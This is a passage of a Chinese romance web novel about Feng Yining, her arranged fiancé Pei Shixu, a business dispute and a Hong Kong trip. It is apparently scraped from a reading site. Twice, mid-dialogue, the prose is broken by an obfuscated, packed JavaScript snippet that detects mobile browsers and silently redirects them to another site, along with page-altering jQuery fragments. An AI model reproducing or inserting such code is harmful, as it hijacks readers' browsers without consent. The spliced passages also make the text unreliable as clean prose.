“二姐,你完全被小嫂嫂带偏了。”冯意柠完全不能想象那个场面,“你从前从来不会这样说话的。” 冯亦清很轻地笑了笑:“小嫂嫂在叫我们了。” 冯意柠抬眸看去。 小嫂嫂本人正朝着她们招手:“别在那说我坏话了,快来吃早饭。” 餐桌旁,冯意柠问:“小嫂嫂,你跟大哥这次打算住多久?” 商窈杳扭头:“老公,怎么办啊?我们好像被嫌弃了。” 冯意柠和冯亦清同时瞥去。 她们这位向来沉稳的大哥,此时正在给在座的三位姑娘剥荔枝,当季泛粉,皮薄馅嫩,因着小嫂嫂爱吃,特意遣人从广府私人飞机空运来临北。 冯俞礼抬眸,将一颗鲜嫩的荔枝喂进老婆嘴里:“杳杳年纪小,让让她。” 商窈杳吃到喜欢的荔枝,半眯了眯眼眸,又有老公在旁边护着纵着,骄矜地微仰起下巴,那神情,跟膝头伏着的雪白波斯猫如出一辙。 冯意柠和冯亦清对视一眼,都从彼此眸中看出几分无奈笑意。 ——她们这大哥,简直活像是个被美色蛊惑的昏君。 - 工作室连开了两天的会,第三天,冯意柠准点到了工作室。 落地窗外灿色阳光尽撒,孟思栀坐在办公桌对面,一手懒懒托着腮,一手执笔在稿纸上圈圈写写。 “我看看,盲盒市场,十二生肖?你要知道,越是广为人知的大众概念,不出错,很难有新意。” 冯意柠说:“难倒我们主美了?” “很拙劣的激将法。”孟思栀说,“但是效果很显著,我被你激起了好胜心。” 冯意柠将pad递到她面前。 璃兔IP诞生立根最初的就是国风,来国内的第一站,定十二生肖的概念,老套,但是契合理念初心。 孟思栀看了眼稿图,十二生肖与中国色彩元素结合,虽说瞧着还在粗糙阶段,将古韵和新潮结合得很好,眼眸一亮,共鸣的灵感不停地冒出来。 她无奈摇头:“柠柠,你要不别当这个老板了,你有这种才华,真是暴殄天物。” 冯意柠笑了笑:“还是比不上你专业。” “仙女姐姐嘴里的话很动听。”孟思栀了然地说,“其实,就是想哄骗我给你的项目做牛做马。” 这时传来三下敲门声,冯意柠扬声:“请进。” 助理任瑛走了进来:“小冯总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391689|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 冯意柠问:“什么事?” 孟思栀问:“需不需要我回避一下?” “不用。”冯意柠开口,“说吧。” 任瑛说:“月末的线下活动,之前定好的广场大屏的时间有变,那天被汤小姐点名要了,说是要大办生日宴,特意为喜欢的应援的角色应援。” “宏冠集团的汤家?”孟思栀转笔停了。 任瑛说:“确实是那位汤小姐。” 冯意柠问:“谁负责的这件事?” 任瑛说:“詹总监。” 冯意柠说:“请詹总监来一趟。” 任瑛应道:“这就去。” 没一会詹萍来了,孟思栀提前特意给她挪了对面的位置给她,自己反倒坐在一侧的待客沙发上,隔着镂空木质屏风,只有她能看,对方看不到她。 冯意柠抬眸:“詹总监,线下活动大屏的事,说说吧。” 詹萍说:“小冯总,你也知道咱们工作室的难处,初来乍到,外面多少双眼睛盯着,脚跟还没站稳,不宜树敌。汤小姐那性子你知道,闹起来不管不顾的,宣传合作方也是为咱们之后的合作着想。未来我们和汤家也免不了合作牵扯,权当给了这份人情,也是给宏冠一份情面,而且合作方置换的时间,黄金时段待遇,也给足了咱们面子。” 冯意柠说:“詹总监确实眼光长远,也是切实为工作室着想,只是出来做生意,这给一点面子,那让渡一分人情,哪天又让出一个大屏,改天我亲自登门献殷勤,敬杯酒,凡事好说话,大家自然和和美美。” “不如改名,叫被拿捏工作室如何?” “小冯总言重了,虽说您背后靠冯家,可毕竟刚回国,脚跟没站稳,咱们临北有临北的规矩,说到底人情这两个字太复杂。”詹萍说苦口婆心道,“我曾经也是衡思的老人,受冯总照拂许多,自然没有半点私心,只为着工作室着想。” 这是搬出资历老的护身符,冯意柠笑了笑:“我年纪轻,开玩笑不怎么懂轻重,想必詹总监不会与我计较。” 詹萍连忙说:“还要希望小冯总不跟我计较。” 等詹萍走后,冯意柠起身,坐到待客沙发的对面。 孟思栀手指抵着唇,遮不住唇角隐隐的笑意:“你说人不带一个脏字、绵里藏针的劲儿,还是这么足。” “不过你刚回国,就这么当场下她面子,她能善罢甘休?” 冯意柠说:“沉疴痼疾,睁一只眼闭一只眼够久了,这次回来本就要解决这些。” 孟思栀说:“刚打听过,合作方不愿意怵汤小姐的霉头,这位詹总监隔岸观火,既讨好了汤小姐,又力挽狂澜拯救了态势,黄金时段的广场大屏,比我们之前定的气派多了。在外人眼里,倒是落得你这个小冯总绵软好说话,多好的算盘,这是眼看你这个正主回来了,主动找事,不然怎么能凸显她做了实事的重要性,好把握住手里的话语权。” 冯意柠自然清楚这其中的门道,她这半年忙于学业,国内代为管理,只是久了,管理层练成一派,握在手里时间长了,反过来心里不怎么服气她这个小冯总。 “虽说逢人给我几分薄面,叫上一声小冯总,可我知道,不止自家员工在观望,外头也在观望,我回国不久,至于本人是圆是方是扁,是绣花枕头,还是玩票一场?” 冯意柠笑了笑:“我也不是不讲理的人,要是硬抢回来,显得我没有情面,也不近人情,传出去名声太过难听,初来乍到,自然要守点这儿的规矩。” 孟思栀笑道:“难道打算忍了?这可不像你的风格。” 冯意柠说:“说到底改一天大屏的日期,或是让让一个大小姐,也不是多大的事儿,可若是想立足,我这个小冯总怎么说都要拿出个态度。” “不然头遭就退一步,咱们工作室以后有得是退的时候了。” 孟思栀转了转笔:“那就放心得罪吧,有你孟小姐一口汤,就不会少你一口饭。” 冯意柠微弯眼眸:“谁说我要亲自得罪人了?” 孟思栀说:“你大哥出面,准管用。” 冯意柠说:“这点小事,还用不着大哥出手。” 出来混,谁还没有点背景家世了。她这位新上岗的便宜老公,怎么说都该给面子派上一次用场吧。 孟思栀察觉到她的意图,语气几分促狭:“我有必要提醒一下,这次广场大屏是景越集团旗下的,你未婚夫的产业,按理说,这事儿小到他压根不会管,可说到汤小姐,背后的汤家跟他可算是关系匪浅,而这边,是你这个比塑料还塑料的未婚妻——” 冯意柠调出通话页面:“现在要向你郑重介绍一下我们工作室新的技术资方。” 孟思栀:“?” 什么新资方?她明显看清手机屏幕上“裴先生”三个大字,如今她这位好发小身边,还能有第二个姓裴的吗? “喂,老公。”冯意柠嗓音温温柔柔的,在孟思栀一脸见鬼的震惊神色里,拨通电话后,毫无负担地叫出了口。 “咱们工作室受欺负,这事你管不管?” 6. 培养感情 CBD区高楼矗立,景越集团总裁办公室里,打通一整面墙的落地窗崭亮如新。 裴时叙听完电话那头的话,没挂断:“群安。” 办公室内足够安静,裴特助几乎是完整听清那头的话,询问道:“按小冯总的要求安排下去?” 修长手指叩了下桌面,冷白腕骨上的表盘折射冷光,裴时叙口吻如常:“小冯总的意思,就是我的意思。” “物归原主的道理而已。” 裴群安应了声是。 电话那头又压低声音说了些什么,裴时叙薄唇微启:“另外,为小冯总安排当天集团名下的所有大屏。” 而后,男人面不改色道:“算给老婆的赔罪礼物。” 这一声“老婆”一出,可切切实实让在场的其他三人震惊到。 电话那头大概也在消化这极其活久见的两个字,沉默了好几秒后,也丝毫不客气:“谢谢老公。” 等电话挂断后,裴时叙没再说旁的。 裴群安心下几分了然,起身:“我这就去通知安排。” 薄蔺舟光是听这话,还以为向来倨傲薄幸的这位头遭肯下凡,就有多一等一上心。 只是黄金时段的全部大屏,旁人瞧着是吞金噬银的大手笔,对这位来说,还真算不上什么。 更何况,薄蔺舟不是没见着这两人同处宴会,态度不冷不热,这才没多久,这通虚与委蛇的电话,反倒打得浓情蜜意。 裴淮景就坐在斜侧方,这位小叔子仍是神情淡淡,瞧着对这事不怎么感兴趣。 反倒是薄蔺舟这个外人先开口:“你这位未婚妻还挺有意思。” 裴时叙听着没什么反应,就仿若刚嘴上叫着老婆、破天荒哄人的男人,只是臆想出来的一场幻觉。 这时内线电话响起,裴时叙接通。 杨秘开口道:“裴总,今天汤小姐打了七通电话,实在是打得急,怕耽误了事,特来请示您。” 裴时叙没抬眸,这种五官很深的冷感长相,有种过于不近人情的感觉。 “拉黑。” 杨秘得到安排后,等待自家老板挂断内线电话。 都不用多想,只能是那位大小姐为生日宴的事儿。 薄蔺舟看热闹不嫌事大:“竟然能见到裴总为谁守男德的一天,真是有生之年。” 一直兴致缺缺的裴淮景,问了句:“汤副总下午是不是要来一趟?” 薄蔺舟说:“这汤二心思可不小,总想着攀上亲,也怪你们裴冯两家向来交好,偏生还要结亲,旁人巴不得两家亲事拆成四家亲事,大家都能攀上关系才好。” “凡事瞧个眼缘。”裴淮景轻嗤道,“汤副总还是把自个看得太高了。” 裴时叙说:“适时放些蠢人在身边,能省去很多麻烦。” 这些年,汤庄达想把亲妹妹嫁进裴家的心思昭然若揭,明里暗里阻断不少想接机攀亲的事儿。 薄蔺舟说:“凭这心黑程度,冯三小姐碰着你大哥,真是孽缘。” “我瞧是算是白担心。”裴淮景说,“这位冯三小姐,只不过一通电话打过来,挡箭牌这招用得倒是挺顺手。” 而被称作挡箭牌的男人,没抬眸,指背叩了叩办公桌,声质偏冷:“没意义的讨论,这儿不奉陪。” 既谈完正事,两人一同出来。 薄蔺舟说:“以后待三小姐好些,毕竟是能让你大哥这副性子,让渡几分亏的人,实在不多见。” 裴淮景问:“蔺舟哥,你对我这位未来大嫂似乎多有关照?” 这裴家的人倒是一个模子刻出来的,嘴硬,心倒是诚实。 薄蔺舟说:“倒是大可放心,我对冯三小姐,可没有半点心思。” 裴淮景口吻不以为意:“我有什么放心不放心的。” 而在另外一边,自从冯意柠挂断电话,孟思栀刚想开口,被来办公室汇报的职员打断后,一时没再找到机会开口问,以至于开完一下午的会议后,还陷在深深的惊愕里。 脑海里还在3D立体环绕那声“老公”和“老婆”,一会想是不是年纪轻轻就得臆想症了,一会又想是不是她疯了,不然就是她这个发小,连同那个向来倨傲到了极点的男人一起彻底疯了。 直到下班的点,孟思栀和冯意柠走进专用电梯,罕见的沉默后,他们走到一楼。 趁着四下无人,孟思栀问:“你们这?” 冯意柠说:“就是听到的那样。” 外头阳光正好,冯意柠远远就瞧见了停靠公司楼下的迈巴赫。 孟思栀循着目光看去,是谁的车并不难猜,一脸难言,仍在做最后顽强的抵抗:“难道是角色扮演?” “新婚夫妇,新婚燕尔。”冯意柠走出几步回头,微弯眼眸,“改天请你吃喜糖。” 孟思栀:“?” 天塌了,就这么两天,她最亲爱的朋友怎么就变成有夫之妇了。 那她家梁女士,岂不是更能找到催婚的理由了?! - 冯意柠坐上车,被带去市里的婚房,在卧月湾,寸金寸土的地价,高楼矗立,足以俯瞰繁华CBD街景,产权在她名下。 其实对于住的地方,冯意柠并不算很挑剔,跟主设计师沟通修改了些细节,将这股扑面而来的性.冷淡风冲淡不少。 冯意柠转眸,任凭她施为的那道高大身影,随意站在落地窗前,接着一通电话。 她心知这人也只是走个过场,毕竟这位裴总分秒上亿,难为他今天耐心备至,没有嘴毒。 冯意柠把主设计师送到门外,走回去的时候,裴时叙已经讲完电话。 “这会有空吗?” 冯意柠问:“什么事?” “老爷子提前回来了。”裴时叙说,“麻烦一起走一趟?” 裴老爷子提前回来了,冯意柠自然是要见的,点了点头。 “走吧。” 坐上车后,冯意柠注意到这不是朝着机场去的方向,也不是去裴公馆的路。 裴时叙察觉到这道目光,开口道:“老爷子在咖啡厅。” 冯意柠没多问,只“哦”了声。 直到看到熟悉的街道,冯意柠问:“就是前面那家吧?” 李叔笑呵呵道:“就是前面,三小姐对这儿熟?” “上周才来这。”冯意柠说,“李叔,把我放在这个路口,我去这家老糕点铺一趟,裴爷爷爱吃。” 裴时叙没说什么,那便是默许的意思,李叔很快把车靠边停下。 冯意柠拉开车门:“不用回头来接我,很近,待会走过去就行。” 直到这道身影渐渐走远,李叔有些忍不住感叹:“三小姐这性子是生得真好,没一点架子,随和好相处。” 裴时叙口吻淡淡:“下回人在跟前,夸才有作用。” 李叔:“……” 他还特意在大少爷面前说,就白操心。 咖啡厅门口,裴庚源就坐在遮阳椅上,跟店主下象棋。 裴时叙走到跟前时候,裴庚源正赢,抬头,特意朝着男人身后张望。 裴庚源嫌弃地问:“怎么你来了?” 裴时叙说:“这不是来接您回家么。” 此行裴庚源就是为着来见自家孙媳,这会没见着想见的人,不是很给面子:“年纪大了,腿脚不利索。” 他还在气着,就这俩孙子,一个赛一个有主意,也一个比一个不省心。 裴时叙对这副为老不尊的性子,倒是习惯久了。 裴庚源看着自家长孙直直转身的背影,对老人家没点耐心,尊老学到地里去了,差点一口气没上来:“又去哪?” 裴时叙没回头,只留下一句:“想办法解决。” 冯意柠买好糕点,隔着一地树影婆娑,看到穿着身白衬衫的男人,衣袖半挽起,正站在车前,从后备箱里拿出一把崭新的轮椅,冷白手背青筋分明,小臂的线条格外凌厉有力。 然后迈着长腿,把那把轮椅随意放在裴爷爷面前,甚至还做了个“请”的手势,也就是瞧着恭敬,一副从容散漫的模样。 而裴爷爷大有吹胡子瞪眼的架势。 这对爷孙俩,多年前就不对付,没想到这么多年后,还是老一副的相处模式,冯意柠心下几分好笑。 只是瞧见走来姑娘的转瞬,裴庚源换了副和颜悦色的和蔼神情:“柠柠,过来。” 冯意柠一手拎着糕点,另一手被裴庚源握住。 “阿叙有没有欺负你?” 冯意柠笑道:“没有。” 裴庚源说:“裴爷爷给你做主,你不用怕他,天天冷着一张脸,也不知道是吓谁?” 裴时叙唇角微掀:“从休养的地偷跑回临北,您有理儿?” “我身体好得很!”裴庚源说,“我不来看着你点,整日里净对我阳奉阴违 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391690|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 看来老爷子是才刚下临北的机,就被通风报信了,冯意柠赶在这两人再度开口前,轻唤了声:“裴爷爷。” 裴庚源听着这道温温柔柔的嗓音,火气瞬间消散不少,手机调出消息页面:“你来看看,还深夜约会,被送礼物,他都能伙同旁人来糊弄我了。” “我是老了,不是糊涂了!” 冯意柠仔细一看,这不是她那晚送出去的玩偶挂件吗?好好一个垂耳兔玩偶挂件,竟然被拍得这么有偷感。 顿时解释了那晚这人突然有闲心陪自己逛了那么久的缘由。 “也不是糊弄。” 裴庚源狐疑地眯住眼眸:“真是约会?” 冯意柠说:“确实是约会。”晚上独身男女压马路,也算是约会。 裴庚源又问:“真送了他礼物?” “送了。”虽然是这人暗示,最后结果也确实是她主动送的。 裴庚源偏头打量起长孙,那目光就像是瞧着一个稀奇物件,转性那是不可能,沉思片刻,朝着冯意柠问:“他胁迫你?” 还真是知孙莫若爷,不过胁迫算不上,反倒是一场友好和睦的合作,如果除去这人过于倨傲嘴毒的性子来说。 冯意柠微弯眼眸:“是自愿。” 都问到这份上了,裴庚源心下总算满意了不少,面上还在冷哼:“还算这小子知道懂些事!” 修长指骨轻叩轮椅面上,裴时叙薄唇微启:“要推着走么?” 既然见着大孙媳面了,裴庚源也不腿脚不便了,直起身,要多有精神气有多少:“用不着。” “柠柠,我们走。” 冯意柠忍住笑,应了声。 - 裴老爷子提前回来,没两天冯老爷子从南方赶回来,约着挑了个大周末,裴家来了趟,带来不少珍稀物件,两大家子人坐在一处,倒也其乐融融。 两位老人家久别,老棋友见着面知己重逢,技痒难耐,趁着惠风和畅,大好春光,坐在庭院里边晒太阳边下棋。 婚事就交由冯、裴夫妇商议,两位夫人齐馥仪和林娴若私交不错,小到婚糖,大到宾客人选,相谈甚欢。 冯意柠被商窈杳拉到一旁,嘴里还被塞了颗蜜糖。 “你这个未婚夫,今天倒是装得格外人模人样。” 仗着看不到,冯意柠也就多打量了几眼男人,这副过深的五官,眼皮褶皱很深,浓长眼睫都冲不淡的薄幸感。 身上的白色衬衫挺括,透明日光下隐隐勾勒劲实背肌,宽肩窄腰,收束进禁欲笔直的西裤。 处在长辈里,始终不卑不亢,礼节言辞进退有度。 冯意柠说:“毕竟在长辈面前。” “看来这门婚事是板上钉钉了。”商窈杳叹了口气,转而又说,“他要是敢欺负你,小嫂嫂第一个给你撑腰。” 又撞了撞冯亦清的手臂:“你二姐就是第二个。” 冯意柠轻笑了笑,还没开口,没料到这时男人微掀眼眸,目光隔着半空对视,漆黑眼眸里情绪很淡。 无声翕动的唇形被日光描摹—— “还要看多久?” 冯意柠偷看被当场抓包,脸颊微热,佯装镇定地收回目光。 商窈杳没注意到他们目光转瞬的交汇,几分奇怪道:“他怎么突然过来了?” 冯亦清倒是看清“眉来眼去”的全程,这会看自家小妹脸颊一层薄红,明显的几分心虚劲,挽着商窈杳的手臂:“小嫂嫂,我想起有件事要跟你说。” 商窈杳被拉着走开:“是什么事?有这么急吗?” 身旁一下子空了,脚步声渐近,清冽的雪松气息掠过鼻尖。 短暂的一会,冯意柠已经收拾好心理准备,心想人站在那里多看两眼而已。 而且他不看自己,怎么能发现自己在看他。 想到这,冯意柠抬眼,很有底气地直视回去,口吻仍旧温温柔柔的:“那边不用陪了吗?” 裴时叙微掀眼眸:“奉旨来培养感情。” 看来长辈们是说了些什么,不外乎是培养感情之类的叮嘱,冯意柠心下了然,工作狂这多半是来找自己执行任务了。 还在想着,便听到句:“约会吗?” 清透日光染着半空的浮尘,角落一隅太过静谧,只余呼吸声和人声。 男人嗓音低沉,薄唇翕动,磋磨出冷感又动人的鼻音:“老婆。” 7. 苏富比 这会他们离得不算近,隔着半步距离,阳光和清风撒在地板上,拖曳一道又一道长菱形的光条。 饶是这姑娘目光太过明显,裴时叙开口道:“想问什么?” 冯意柠轻声问:“你从哪里报班了吗?” 裴时叙问:“理由?” 冯意柠感觉他这话已经极尽涵养,否则很可能是极其冷淡的一句:报哪门子班? 冯意柠说:“我觉得很可能,不会是你想听的话。” 裴时叙说:“冯三小姐不想说,犯不着费这么多口舌。” 这是控诉她吊胃口吗?冯意柠倒也不是怕得罪他:“你刚刚说话那会,特别缱绻,很像个招牌男狐狸精。” 裴时叙:“……” 冯意柠觑着男人冷淡的脸色,心想她都很善解人意地提前提醒了下。 不说要问,结果说了又不乐意。 真是难伺候啊。 裴时叙薄唇微启:“都说冯三小姐是临北知书达理的名媛,温婉有礼,性格柔和,最宜相处。” 冯意柠了然地问:“裴总,现在是觉得卖家秀变买家秀了?” 这位冯三小姐性子是温婉或乖张,本就是件可有可无的事儿,明时宜即可,眼下看反倒是进退有度,绵里藏针。裴时叙说:“不算是。” 比起无趣,不过是麻烦几分而已。 “温婉是给外人看的,可如今,我们不是紧密的合作伙伴吗?”冯意柠当然是希望合作能顺畅无阻,不要旁生枝节,“要是私底下,想裴总、您、请这样地相处,也可以。” 如果男人以后有这个要求,她也不是不能满足。 裴时叙说:“不必。” 冯意柠朝其乐融融的长辈那处瞧了眼,心想回去多半也是被打趣:“还走吗?” “自然。”裴时叙说,“此行怕是缺不了冯三小姐。” 说得不明不白,不清不楚,冯意柠总感觉男人在卖关子,可还是好奇心占了上风,跟着一起走了。 等坐上车的时候,冯意柠给母亲打了通电话,对方才刚聊到临北兴起的一支专业摄影团队,聊得正火热,对她这位被拐走的女儿去哪丝毫不关心,挂断电话前,还祝福她约会愉快,不用急着赶回来。 只是好巧,她这个被拐走的人,也不知道接下来要去哪。 车后坐座里,为了方便她打电话,很贴心地竖起挡板,男人就坐在一旁,时不时传来处理工作的背景音。 冯意柠问:“去哪?” 裴时叙没抬眸:“港城。” 冯意柠警惕地说:“裴总,秘书的活,我恐怕不是很能胜任。” 她还在假期,怎么可能被黑心资本家白嫖打工。 “群安在等着。”裴时叙说,“冯三小姐负责看维港烟花。” 这倒是让冯意柠有些讶意了:“只是看烟花?” 这么有闲情逸致吗? 裴时叙口吻如常:“看三小姐的选择。” 这会把她绑上“贼船”了,还在卖关子,冯意柠也不打算深问下去。 既然男人在工作,那她也乐得清净,处理起自己的工作。 她倒要好好看看,这人葫芦里到底卖的什么药。 到停机坪的时候,航线提前申请,私人飞机随时侯着,飞行长达三小时,冯意柠干脆阖眼补眠。 一个小时后,冯意柠被引至化妆间,换好身雾蓝色高定裙,脖颈纤长,裙摆洒落碎钻浅雾,已经在侯着的造型师以及助理为她准备妆饰。 时间控制得刚刚好,落地后,冯意柠见到同样穿戴齐整的裴时叙。 修裁得当的意大利手工深色西服,衬得过深的五官愈加分明,懒掀眼眸瞥来时,腕表折射冷光,与生俱来的倜傥贵气。 美人向来是赏心悦目的,裴时叙也不拘于称赞:“很适合。” 冯意柠挽住男人的手臂,掌心下触感分明,蛰伏劲实的肌肉线条:“裴总选的?” 裴时叙任由这姑娘虚挽住,十足的英伦绅士派头。 就当冯意柠以为男人不会回答时,听到他答“是”,又说了句“比想象中合适。” 不管这话意味真假,是礼节还是实意,都听得颇为顺耳,向来倨傲嘴毒的人,信手拈来一句哄人的话,杀伤力也比想象中大。 脸颊微微泛热,都怪港城的夜太燥。 …… 一辆嚣张惹眼的帕加尼旁踞街道,全球仅发行五辆,就连车牌都是高调的连号。 “唔好意思,唔知你喺拍拖。”(抱歉,不知道你在恋爱) 车窗大敞开,霓虹街光映亮驾驶座上的男人,浓黑额发被捋起,五官凌厉野性,唇角噙着似有若无的笑意。 黑色衬衫几颗纽扣没系,冷白锁骨落着条银质蛇形吊链,一身轻浮多情的放浪。 裴时叙薄唇微启:“而家知喇。”(现在知道了) “Vincent.”关祁放闻言微挑眉梢,饶有兴致地朝着旁边这姑娘瞥去,主动伸手,“冯三小姐,幸会已久。” 男人换了国语,很标准,听不出半点口音,冯意柠不难猜出对方的身份,港城关家老三,母亲是老钱家族的小女儿,听闻豪奢无度、恃靓任行,港媒例来的“宠儿”。她回礼貌握了下手,笑道:“Vincent,幸会。” “跟阿叙这副性子很难处吧?”关祁放口吻几分懒怠,“要是哪天有想法踹了他,想必我有很多朋友,很愿意结识三小姐。” 没想到这副冷情薄幸性子,身边朋友倒是个顶个的有趣敢说。 冯意柠微弯眼眸:“多谢了。” 裴时叙倒是老一副散漫模样,眸中情绪很淡:“听闻你最近在闹绯闻。” “自炒自卖。”关祁放说,“我这人向来心眼小,最厌恶有人算计到我头上。” 裴时叙说:“至于康姨办的相亲宴,人选倒是方便推荐几位。” 原是在这等他呢。关祁放知道刚那话他不钟意听,懒懒举了个投降的手势:“千万饶了我。” 又说:“上车吧,别误了时候,不然二姐准要训我。” - 蓝调下的维港繁华璀璨,私人游艇上灯火通明,不远处高楼鳞次栉比,攫取惊心动魄的夜色心脏。 刚进宴会,关祁放便朝着关蔚颍介绍来人,这位关家大小姐,排行老二,长相很大气的港风美人,优越的模特身高,撑起一身珠光宝气,举止尽是妩媚风情。 冯意柠瞧得出裴时叙与这对关家姐弟关系相当的熟稔。 失陪前,关蔚颍执着根金色签字笔,在手帕上写了串电话号码,施施然塞进冯意柠的手里,掀起一阵玫瑰香风。 “阿叙太难处,当情人不合格,以后如果想换人,随时来联系我。” 冯意柠心想,关家人还挺像的,爱给头回见的人介绍朋友。 关祁放撇清关系:“这可不赖我,是二姐的主意。” “有人叫我,冯三小姐请便,让阿叙请你跳支舞。” 跳舞?冯意柠有些难以将这两个字,将她跟男人联系到一处。 裴时叙稍稍躬身,很标准的绅士礼。 这处人多眼杂,冯意柠伸手轻挽住男人手臂。 舞池里衣香鬓影,顶灯撒下一地璀璨流光。 裴时叙说:“九点钟方向,那是瞿四爷,近来陪太太赴港度假。” 冯意柠循着目光瞥了眼。 瞿四爷年近五旬,却不见疲态,身旁太太慈眉善目,绰约犹存。 冯意柠早就听闻瞿太太手里有家金牌公关公司,工作室今后想在临北混得开,斩获上头的指标,免不了舆论造势。 只是瞿四爷退居幕后多年,瞿太太也不常在人前,论交情没有半分,冯意柠说:“如果想从瞿太太手里请到一支公关团队,会有可能吗?” “居心不良。”裴时叙薄唇微启,口吻却隐隐几分赞赏意味,“这要看冯三小姐有多少本事。” 冯意柠说:“看来有机会。” 裴时叙提醒:“瞿太太是玩偶控。” 那正巧是同道中人。冯意柠早知道,此行绝不可能只是来看烟花,她就说这工作狂怎么会有闲心来约会,原来是猜借着她的名头,从长辈里抽身,为着来谈生意。 现下想来,她竟只猜对了一半。 纤细手指轻点男人肩膀,似薄薄蝶翼轻嗅清晨露水,冯意柠微弯眼眸:“裴总,我看您才是早有准备,居心不良。” “跟我逞口舌之快,没多大用处。”裴时叙瞥着微醺的姑娘,淡淡红酒香气萦绕过鼻尖,淡声提醒道,“目标在那儿。” 舞曲终了的瞬间,所有顶灯倏忽全灭,眼前陷入昏黑之中。 周围传来惊呼和尖叫声,很快响起了维护秩序的镇定嗓音,仅仅十几秒后,全部顶灯恢复原状。 冯意柠缓缓眨了眨眼,稍稍适应了突然恢复的强光,紧接着她发现手掌按在的位置,柔软掌心贴着劲实有力的胸肌,混着鲜活有力的心跳,触感过于好了。 刚刚顶灯灭掉前,碰巧是一个旋身回转的动作,她受惊后,无意识贴着离得最近的温热。 这会男人手臂虚揽着她的后腰,就像是将她护在怀里。 他们是关三亲自引进来的,对她这个生面孔,今晚不乏明里暗里探来的视线。 冯意柠没让自己显得太刻意,男人倒是从容收回手臂,起身后,轻拢鬓边发丝,收起几分羞涩笑容。 察觉到落在脸上的目光,颇为几分意味深长,冯意柠试图缓解受惊的尴尬:“刚认识的男女,不都是应该青涩一点吗?” “青涩。”头顶响起低沉冷感的嗓音, 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里面在进行牌局,筹码高矗,进去第一眼,满室纸醉金迷的光线下,男人一身挺括衬衫,顶上纽扣解开两颗,深色西装随意搭在沙发扶手,一侧手肘随意支在案台,无端散漫的冷感。 而关祁放分坐在另一旁,对面正对坐着瞿四爷。 身旁的赵志良自然也看清她的目光所及的那位,存着探听意味:“跟这位来的?” 冯意柠还没开口。 裴时叙稍稍抬眸,漫不经心地瞥来,轻拍了拍沙发扶背,低沉冷感的嗓音响起。 “柠柠,过来。” 冯意柠笑着说了句“失陪”,直直朝着裴时叙走去,坐在了旁边。 “回来了?” 冯意柠借着看牌的动作,低声说:“要到了联系方式。” 裴时叙说:“这就满意了?” “过犹不及,既然是来约会,就该好好享受,不要目的性太强。”冯意柠起身,随意轻点了下,“这张不错。” 临北裴冯两家联姻的消息,在座跟临北有来往都知道,这会明里暗里的目光探来。 他们这会离得近,又在含笑低语,落在旁人眼中仿若耳鬓厮磨,瞧着浓情蜜意、如胶似漆的热恋模样。 只是这位冯三小姐进来时,身边还跟着一位亦步亦趋的男人。 在座众人各怀心思,当事人还没反应,一来无非是看热闹,权当看戏解闷,二来看看这段婚事是否能如同裴冯两家联系般情比金坚,有没有趁机撬动的机会。 倒是一旁的赵志良站不住了,忍不住出声道:“柠柠,这般久没见,来港城怎么都不知会我一声,我受过你大哥照顾,刚巧今晚苏富比有场拍卖,好不容易碰上一次,你既来了,没有表示也说不过去,看看有没有什么瞧得上的?” 裴时叙倒是不动声色,一局通吃,对这明晃晃的献殷勤行径,瞧着没有半分在意。 冯意柠笑道:“赵总言重了,大哥在外的情面,我不好来收,至于这份情谊,改日回临北跟大哥当面讲才好。” 赵志良干笑两声,连连说是。 此时一个蠢蠢欲动的公子哥,被身边人捅了捅手臂,提醒这人别借醉惹事。 毕竟就连在座这位港城地界背景深厚的关家老三,也对这位从临北远来的裴公子,多有高看之意。 在座更是有人掩唇低笑,笑这人痴傻,正牌未婚夫就陪在身边,更笑这人竟借着酒醺探听,撬墙角都摆在明面上了。 那个公子哥不顾劝告,关三的座上宾又如何,说到底不过一个外地佬,开口道:“我看赵总说的那些庸俗的小玩意,怕是讨不了欢心。裴总,这次拍卖有颗粉钻,取名Pink Star,我看才配得上冯三小姐。” 这话架到此处,裴时叙懒撩眼眸:“是么。” 那人瞧了眼消息,又刻意哎呦了声:“不过我说晚了,那颗粉钻不久前有主了,4亿拍下的。” 一直旁观的关祁放,问了句:“买主是谁?” “说是生人,不是港城的哪位……” 正当此时,大门被推开,直直走来个西装笔挺的高大男人,手里执着瓷玉托盘,走到跟前,掀开上头的白丝绒薄帕。 镂空缠春枝银盒半开着,名为Pink Star的粉钻,11.7克拉,旷世难见的内部无暇艳彩,切割艺术精巧,镶嵌在一枚戒指上,惊心动魄的极致美感。 裴群安说:“裴总,都办好了。” 直到这会,关祁放才生出几分兴致:“阿叙,这多巧,回国跟未婚妻头遭见,不就正是在四月?” “重逢确实是四月。”裴时叙拿起那枚粉钻戒指,戴上她的无名指,“是我对柠柠一见钟情。” 冯意柠:“?” 给我的剧本是不是就没写这段? 8. 单身party 晚十点整,酒店套房内。 透亮落地窗外维港夜景璀璨,不时掠过光陆流离的流光。 冯意柠坐在沙发上,垂眸看着手机,堪比被消息轰炸,一滑下去全是红点。 都不外乎是来打听今晚发生的事情。 电话里传来孟思栀的嗓音:“就这么一晚上,临北小群里都传疯了今晚的事情,想不到嘛,你这个小工作狂,和你那老工作狂凑到一起,还真能搞事。” 冯意柠心想她算是冤枉,这一见钟情的剧本,她也是今晚才知道,不比别人早知道一两秒,轻声问:“都说什么了?” 